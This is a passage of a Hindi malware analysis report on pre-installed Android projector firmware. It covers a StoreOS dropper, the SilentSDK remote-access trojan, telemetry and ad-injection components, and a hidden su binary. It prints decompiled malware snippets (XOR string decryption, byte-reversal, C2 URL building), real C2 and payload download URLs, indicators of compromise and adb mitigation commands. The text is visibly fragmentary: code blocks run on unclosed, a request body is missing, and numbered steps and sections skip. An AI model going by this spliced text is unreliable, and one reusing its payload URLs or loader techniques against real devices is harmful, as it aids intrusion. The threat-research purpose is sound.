**प्रभाव:** कोई भी उपयोगकर्ता जिसके पास भौतिक पहुंच है या उसी नेटवर्क पर कोई हमलावर (ADB के माध्यम से, पोर्ट 5555 खुला, कोई प्रमाणीकरण नहीं) पूर्ण रूट एक्सेस प्राप्त करता है।

---

## 4. C2 सर्वर प्रतिक्रिया — मुख्य साक्ष्य

### कैप्चर किया गया HTTP अनुरोध```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

**फ़्लैग्स की व्याख्या:**

- `isShow: false` — ऐप स्टोर इंटरफ़ेस में दिखाई नहीं देता।
- `isForce: true` — संभवतः कार्रवाई (इंस्टॉलेशन या अपडेट) को बलपूर्वक करता है।
- `isSilentUninstall: true` — उपयोगकर्ता इंटरैक्शन के बिना स्वयं को अनइंस्टॉल कर सकता है।
- `launchType: 1` — स्वचालित रूप से बैकग्राउंड सेवा प्रारंभ करता है।
- `launchParam: MyService` — स्थायी सेवा का संदर्भ।
- `zone: "Global"` — दुनिया भर के सभी उपकरणों को लक्षित करता है।
- `reverseLen` — SilentSDK `.apk` को पुनर्स्थापित करने के लिए आवश्यक बाइट लंबाई।

### एन्क्रिप्टेड डाउनलोड पथ

`path` फ़ील्ड AES-CBC एन्क्रिप्टेड है:

- **Key/IV:** `[REDACTED]` (AES-CBC, Raw) -> डिवाइस का ChannelID.
- **Decrypted result:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp

   + ExpandSDK (Ad-Injection)
     → pb-api.aodintech.com

---

## 6. StoreOS — ड्रॉपर विश्लेषण

StoreOS एक ऐप स्टोर प्रतीत होता है जो स्वचालित रूप से स्थापित होता है; हालाँकि, यह एक ड्रॉपर का कार्य करता है।  
**Package:** `com.htc.storeos`  
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`  
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`

### अनुमतियाँ

| अनुमति | प्रभाव |
|:---|:---|
| `INSTALL_PACKAGES` | बिना उपयोगकर्ता संवाद के मौन स्थापना |
| `CLEAR_APP_USER_DATA` | मनमाना ऐप डेटा हटाना |
| `MASTER_CLEAR` | फ़ैक्टरी रीसेट ट्रिगर करना |
| `WRITE_SECURE_SETTINGS` | सुरक्षा सेटिंग्स संशोधित करना |
| `DEVICE_POWER` | डिवाइस पावर प्रबंधन |
| `MANAGE_EXTERNAL_STORAGE` | बाहरी स्टोरेज तक पूर्ण पहुँच |

### स्थापना श्रृंखला (डिकंपाइल कोड से)

1. **BootReceiver** `CheckUpdateService` प्रारंभ करता है।
2. HTTP POST `store-api.aodintech.com/sign/app/list` पर।
3. सर्वर `AppsData[]` वितरित करता है जिसमें फ़ील्ड हैं: `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`।
4. `DownloadService` CDN से APK को `.bpp` फ़ाइलों के रूप में लाता है।
5. **बाइट-रिवर्सल सुरक्षा:** डिस्क पर लिखने से पहले पहले `reverseLen` बाइट्स को उल्टा किया जाता है (एंटी-विश्लेषण उपाय)।
6. डाउनलोड की गई फ़ाइल की MD5 सत्यापन।
7. `Runtime.getRuntime().exec("pm install -r " + filePath)` के माध्यम से स्थापना।
8. `StartAppService` स्थापित ऐप को `launchParam` के अनुसार लॉन्च करता है।

### बाइट-रिवर्सल तंत्र — तकनीकी प्रमाण

**Class:** `AbstractC2057b` — **Method:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX

यह मेथड प्रत्येक डाउनलोड किए गए APK के पहले `reverseLen` बाइट्स को उलटता है। परिणामस्वरूप, इंटरसेप्ट की गई `.bpp` फ़ाइलों को विशिष्ट `reverseLen` मान जाने बिना मान्य APK के रूप में पहचाना या निकाला नहीं जा सकता।```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged

इस तंत्र को उलट कर, SilentSDK APK को सफलतापूर्वक डिकोड और विश्लेषित किया गया।

### भू-लक्ष्यीकरण

StoreOS IP भू-स्थान के लिए `api.ipdatacloud.com/v2/query` का उपयोग करता है। `SpecialApps` वर्ग में `continent` और `countryCode` के लिए फ़ील्ड हैं, जो क्षेत्र-विशिष्ट पेलोड वितरण की अनुमति देते हैं।

---

## 7. EventUploadService — टेलीमेट्री

**पैकेज:** `com.htc.eventuploadservice`  
**लक्ष्य:** `http://event-api.aodintech.com/report`  
**अंतराल:** प्रत्येक 5 मिनट  

| फ़ील्ड | नमूना मान | गोपनीयता प्रभाव |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | MAC पता (PII) |
| `deviceSn` | `[REDACTED]` | सीरियल नंबर (अद्वितीय) |
| `channel` | `HY260Pro_hy_TPYB` | फ़र्मवेयर चैनल |
| `version` | `Projector.20250422.152235` | फ़र्मवेयर संस्करण |
| `model` | `NT10` | डिवाइस मॉडल |
| `language` | `en_US` | भाषा सेटिंग |

ट्रांसमिशन HTTP के माध्यम से बिना एन्क्रिप्शन और उपयोगकर्ता की सहमति के बिना होता है। MAC पता और सीरियल नंबर व्यक्तिगत उपकरणों की सटीक पहचान और ट्रैकिंग की अनुमति देते हैं।

---

## 8. ExpandSDK — विज्ञापन-इंजेक्शन

**पैकेज:** `com.htc.expandsdk`  
**C2 सर्वर:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`

ExpandSDK VAST वीडियो विज्ञापनों के लिए TCL VastAd SDK का उपयोग करता है और किसी भी स्क्रीन स्थिति पर सिस्टम ओवरले डायलॉग (`SYSTEM_ALERT_WINDOW`) प्रस्तुत करने में सक्षम है। कॉन्फ़िगरेशन में स्थिति फ़ील्ड (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) और पार्टनर पहचानकर्ता `htk` (Hotack) शामिल हैं।

ExpandSDK एक अलग मुद्रीकरण चैनल के रूप में SilentSDK से स्वतंत्र रूप से काम करता है।

---

## 9. SilentSDK — RAT विश्लेषण

**पैकेज:** `com.hotack.silentsdk`  
**SHA-256 (डीकोडेड):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`  
**MD5 (डीकोडेड):** `5df097591d6942bae4eff33a37c4e28f`

### मैनिफ़ेस्ट विश्लेषण

| गुण | मान | अर्थ |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | सिस्टम विशेषाधिकार (UID 1000) |
| `usesCleartextTraffic` | `true` | HTTP ट्रैफ़िक अनुमत |
| लॉन्चर आइकन | उपयोगकर्ता को दिखाई नहीं देता | उपयोगकर्ता इंटरफ़ेस से छिपा हुआ |
| `BootReceiver` | प्राथमिकता 999 | लगभग सभी अन्य ऐप्स से पहले शुरू होता है |
| `MyService` | निर्यातित, अग्रभूमि | स्थायी पृष्ठभूमि सेवा |
| `BootStartActivity` | `com.htc.bootstart` | अतिरिक्त बूट ट्रिगर |

### DEX पैकिंग और डिक्रिप्शन

मूल DEX पैक किया गया है: हेडर 2,318,316 बाइट्स घोषित करता है, लेकिन संपीड़ित फ़ाइल में अमान्य Adler32 चेकसम के साथ केवल 65,536 बाइट्स हैं। StoreOS बाइट-रिवर्सल सुरक्षा को तोड़ने के बाद, DEX पूरी तरह से पढ़ने योग्य हो जाता है — फ़ाइल आकार और घोषित आकार मेल खाते हैं, और 16,241 स्ट्रिंग निकाली जा सकती हैं।

### XOR अस्पष्टीकरण — तकनीकी प्रमाण

सभी सुरक्षा-प्रासंगिक स्ट्रिंग्स को विधि `AbstractC0000a.m36g()` के भीतर एक घूर्णन XOR सिफर का उपयोग करके अस्पष्ट किया जाता है:```java
public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}

यदि SSL त्रुटि (`SSLException`) होती है, तो `f2664e` को `false` पर सेट कर दिया जाता है और सभी बाद के अनुरोध HTTPS के बजाय HTTP का उपयोग करते हैं।




#### चरण 3: पेलोड अधिग्रहण
 
**`C0566k.java` — ऑफ़लाइन फ़ॉलबैक (एम्बेडेड पेलोड)**
 
नेटवर्क से संपर्क करने से पहले, यह क्लास जाँचता है कि क्या APK के अंदर `assets/m17gawxG.java` पर एक पेलोड पहले से बंडल किया गया है। यदि मिलता है, तो यह फ़ाइल को बाइट-दर-बाइट पढ़ता है और हार्डकोडेड XOR कुंजी (`m17gawxG`) का उपयोग करके इसे डिक्रिप्ट करता है। परिणाम एक निष्पादन योग्य `.temp` फ़ाइल के रूप में लिखा जाता है। यह सुनिश्चित करता है कि RAT एयर-गैप्ड डिवाइसों पर या जब C2 सर्वर अप्राप्य हो, तब भी सक्रिय हो सके।
 
**`RunnableC0569n.java` — लाइव C2 डाउनलोडर**
 
यदि ऑफ़लाइन फ़ॉलबैक विफल रहता है, तो यह क्लास Bot-ID, पैकेज नाम, और Android संस्करण वाला एक JSON बीकन तैयार करता है, फिर C2 एंडपॉइंट `api.pixelpioneerss.com` से संपर्क करता है:
 
**चरण 1 — यादृच्छिक पथ के साथ URL निर्माण:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s

**चरण 3 — AES एन्क्रिप्शन और ट्रांसमिशन:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message

The downloader (`AbstractC0000a.m37h`) fetches the payload and then uses a root shell to grant it full execution permissions via `chmod 777`.
 
All C2 requests carry the custom HTTP header `a: 1003` — a network-level signature of this malware family.



#### चरण 4: निष्पादन और नियंत्रण
 
**`AbstractC0568m.java` — स्टेजिंग क्षेत्र**
 
डिवाइस के फ़ाइलसिस्टम पर **`TMRXwWJu3G5`** नामक एक गुप्त निर्देशिका बनाता है जहाँ सभी डाउनलोड किए गए पेलोड स्टेज किए जाते हैं। इस क्लास में ऐसी विधियाँ (`m1754e`) भी शामिल हैं जो भौतिक कुंजी इवेंट (`KeyEvent`) को इंटरसेप्ट करती हैं, जिससे उपयोगकर्ता को दुर्भावनापूर्ण ओवरले सक्रिय होने पर "Back" बटन दबाने से रोका जाता है।
 
**`C0561f.java` — ऑर्केस्ट्रेटर**
 
पूरी श्रृंखला को एक साथ जोड़ता है। यह `C0566k.m1746b` में अत्यधिक अस्पष्ट कोड को कॉल करता है, जो स्ट्रिंग `"dalvik.system.DexClassLoader"` को बनाने और इसे आरंभ करने के लिए रिफ्लेक्शन का उपयोग करता है। फिर ClassLoader को अंतिम पेलोड क्लास को लोड और निष्पादित करने के लिए बाध्य किया जाता है:```
com.me.cash5.OoO0OOo

यह प्राथमिक `api.pixelpioneerss.com` से **एक अलग C2 डोमेन** है, जिसका उपयोग विशेष रूप से टेलीमेट्री एक्सफ़िल्ट्रेशन के लिए किया जाता है।
 
**`AbstractC0572q.java` & `RunnableC0560e.java` — हार्टबीट और स्व-उपचार**
 
परसिस्टेंस तंत्र। `AbstractC0572q` मुख्य थ्रेड पर एक टाइमर बनाए रखता है। यदि इंफेक्शन चेन का कोई भी हिस्सा विफल हो जाता है (जैसे, डाउनलोड के दौरान कोई इंटरनेट नहीं), तो यह `sendEmptyMessageDelayed(..., 60000L)` को फायर करता है। ठीक 60 सेकंड के बाद, `RunnableC0560e` (एक बैकग्राउंड वर्कर के रूप में) पूरी इंफेक्शन मशीनरी को शुरू से पुनरारंभ करता है। यह लूप तब तक अनिश्चित काल तक दोहराता है जब तक इंफेक्शन सफल नहीं हो जाता।
 
### परसिस्टेंस और डायनामिक लोडिंग — सारांश
 
`RunnableC0569n` में विधि `m1762a()` पूर्ण पेलोड डाउनलोड चक्र को कार्यान्वित करती है:
 
1. C2 से DEX फ़ाइल डाउनलोड करें।
2. MD5 हैश सत्यापित करें।
3. SharedPreferences में संस्करण संख्या सहेजें।
4. `DexClassLoader` या `Runtime.exec()` के माध्यम से DEX लोड और निष्पादित करें।
5. त्रुटियों पर: SharedPreferences में पुनर्प्रयास काउंटर बढ़ाएँ, 13 असफल प्रयासों के बाद रुकें — फिर 60-सेकंड का हार्टबीट चक्र पुनरारंभ करता है।


## 9.1. मैलवेयर पेलोड

C2 सर्वर को यह अनुरोध भेजने के बाद:```json
{
    "a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
    "b":"f101", //CampaignID injected in MyApplication.java
    "c":"com.hotack.silentsdk", //Package name
    "d":0, 
    "f":"c0:3a:4b:11:22:33", // Device MAC address
    "h":30, //Version
}

---
## 10. मैलवेयर

पेलोड को सफलतापूर्वक प्राप्त करने और आगे के विश्लेषण के बाद, मैंने यह निर्धारित किया—कस्टम एन्क्रिप्शन और अस्पष्टता की महत्वपूर्ण परतों को बायपास करने के बाद—कि मैलवेयर एक अत्यधिक मॉड्यूलर आर्किटेक्चर का उपयोग करता है। यह एक परिष्कृत फ्रेमवर्क के रूप में काम करता है जो फोरेंसिक साक्ष्य को नष्ट करने के लिए प्लगइन्स को गतिशील रूप से डाउनलोड करने, अपडेट करने, पुनरारंभ करने और सक्रिय रूप से हटाने में सक्षम है। ये पेलोड रूट विशेषाधिकारों के साथ निष्पादित होते हैं। इसके अलावा, कोड स्क्रीन पर पूर्ण WebViews को ओवरले करने के लिए डिज़ाइन किए गए तंत्र को प्रकट करता है, जो उन्नत फ़िशिंग क्षमताओं को दृढ़ता से इंगित करता है। मैलवेयर उन्नत लक्ष्यीकरण और चोरी की रणनीति भी प्रदर्शित करता है: यह विशिष्ट क्षेत्रों पर प्रहार करने के लिए सख्त जियोफेंसिंग लागू करता है, CPU आर्किटेक्चर (`arm64`, `armeabi`, `x86`, और `mips` के बीच अंतर करते हुए) प्रोफाइल करता है, और अपने C2 संचार को सुरक्षित करने के लिए SSL प्रमाणपत्र सत्यापन को सक्रिय रूप से बायपास करता है। मैं इस सारांश को जानबूझकर अभी के लिए संक्षिप्त रख रहा हूं, क्योंकि भारी अस्पष्टता के कारण एक लंबी और चल रही रिवर्स-इंजीनियरिंग प्रक्रिया की आवश्यकता है।

## 11. सिस्टम बैकडोर

### 11.1 छिपा हुआ `su` बाइनरी: `/system/bin/qw`

`qw` (कौशिकदत्त सुपरयूज़र, 388 KB, स्थिर रूप से लिंक्ड, ARM 32-बिट) के रूप में नाम बदला गया एक `su` बाइनरी:```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core

### नेटवर्क सिग्नेचर```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry

### फ़ाइल सिस्टम```text
/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable

---

## 16. MITRE ATT&CK मैपिंग

| तकनीक | आईडी | सबूत |
|:---|:---|:---|
| आपूर्ति श्रृंखला समझौता | T1195.002 | मैलवेयर फैक्ट्री पूर्व-स्थापित |
| बूट या लॉगऑन ऑटोस्टार्ट निष्पादन | T1547 | BootReceiver Priority 999 |
| अस्पष्ट फ़ाइलें या जानकारी | T1027 | XOR Strings, DEX Packing, embedded XOR-encrypted asset |
| एप्लिकेशन लेयर प्रोटोकॉल | T1071 | HTTP/HTTPS C2 |
| डायनेमिक डेटा एक्सचेंज / पेलोड इंजेक्शन | T1055 | DexClassLoader, chmod 777 |
| सिस्टम सूचना खोज | T1082 | डिवाइस फिंगरप्रिंटिंग, Bot-ID उत्पादन |
| स्थानीय सिस्टम से डेटा | T1005 | MAC, Serial, IMEI, android_id |
| C2 चैनल के माध्यम से डेटा निष्कासन | T1041 | आवधिक टेलीमेट्री `bur.thedynamicleap.com` को |
| मास्करेडिंग | T1036 | .bpp फ़ाइल एक्सटेंशन, ADT-3 स्पूफिंग |
| रूटकिट | T1014 | छिपा हुआ su बाइनरी |
| इनपुट कैप्चर | T1056 | बैक बटन को दबाने के लिए KeyEvent इंटरसेप्शन |
| संकेतक हटाना / स्व-हटाना | T1070 | `isSilentUninstall: true` क्षमता |
| रिफ्लेक्टिव कोड लोडिंग | T1620 | Reflective DexClassLoader instantiation |
| सिस्टम विंडो ओवरले | T1624 | अदृश्य ओवरले के लिए SoftInputMode मैनिपुलेशन |

---

## 17. तत्काल शमन

### प्रभावित अंतिम उपयोगकर्ताओं के लिए```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate

---

## 18. स्रोत

1. Zane St. John: "प्री-इंस्टॉल्ड एंड्रॉइड मैलवेयर का क्लॉड कोड के साथ रिवर्स-इंजीनियरिंग", जनवरी 2026. https://zanestjohn.com/blog/reing-with-claude-code
2. BSI: "BSI ने IoT उपकरणों पर प्री-इंस्टॉल्ड मैलवेयर के खिलाफ चेतावनी दी" (BADBOX), अक्टूबर 2023.
3. StoreOS APK का VirusTotal विश्लेषण।

---

**विश्लेषण अवधि:** अप्रैल 11–17, 2026

**अस्वीकरण**
केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए। यह रिपोर्ट साइबर सुरक्षा खतरों के संबंध में सूचनात्मक उद्देश्यों के लिए "ज्यों का त्यों" प्रदान की गई है। विश्लेषण वर्तमान मैलवेयर पारिस्थितिकी तंत्र के एक स्नैपशॉट पर आधारित है; चूंकि रिवर्स इंजीनियरिंग एक सतत प्रक्रिया है, नए डेटा उपलब्ध होने पर निष्कर्ष बदल सकते हैं।

यह रिपोर्ट बाइनरी डेटा और डीकंपाइल्ड स्रोत कोड के विश्लेषण के आधार पर, सद्भावना और मेरी जानकारी के अनुसार संकलित की गई है। उच्च स्तर के अस्पष्टीकरण और खतरे की विकसित होती प्रकृति के कारण, ये निष्कर्ष अनुसंधान की वर्तमान स्थिति का प्रतिनिधित्व करते हैं। जबकि साक्ष्य निकाले गए निष्कर्षों का दृढ़ समर्थन करता है, वे आगे के तकनीकी साक्ष्य उजागर होने पर परिशोधन के अधीन हैं।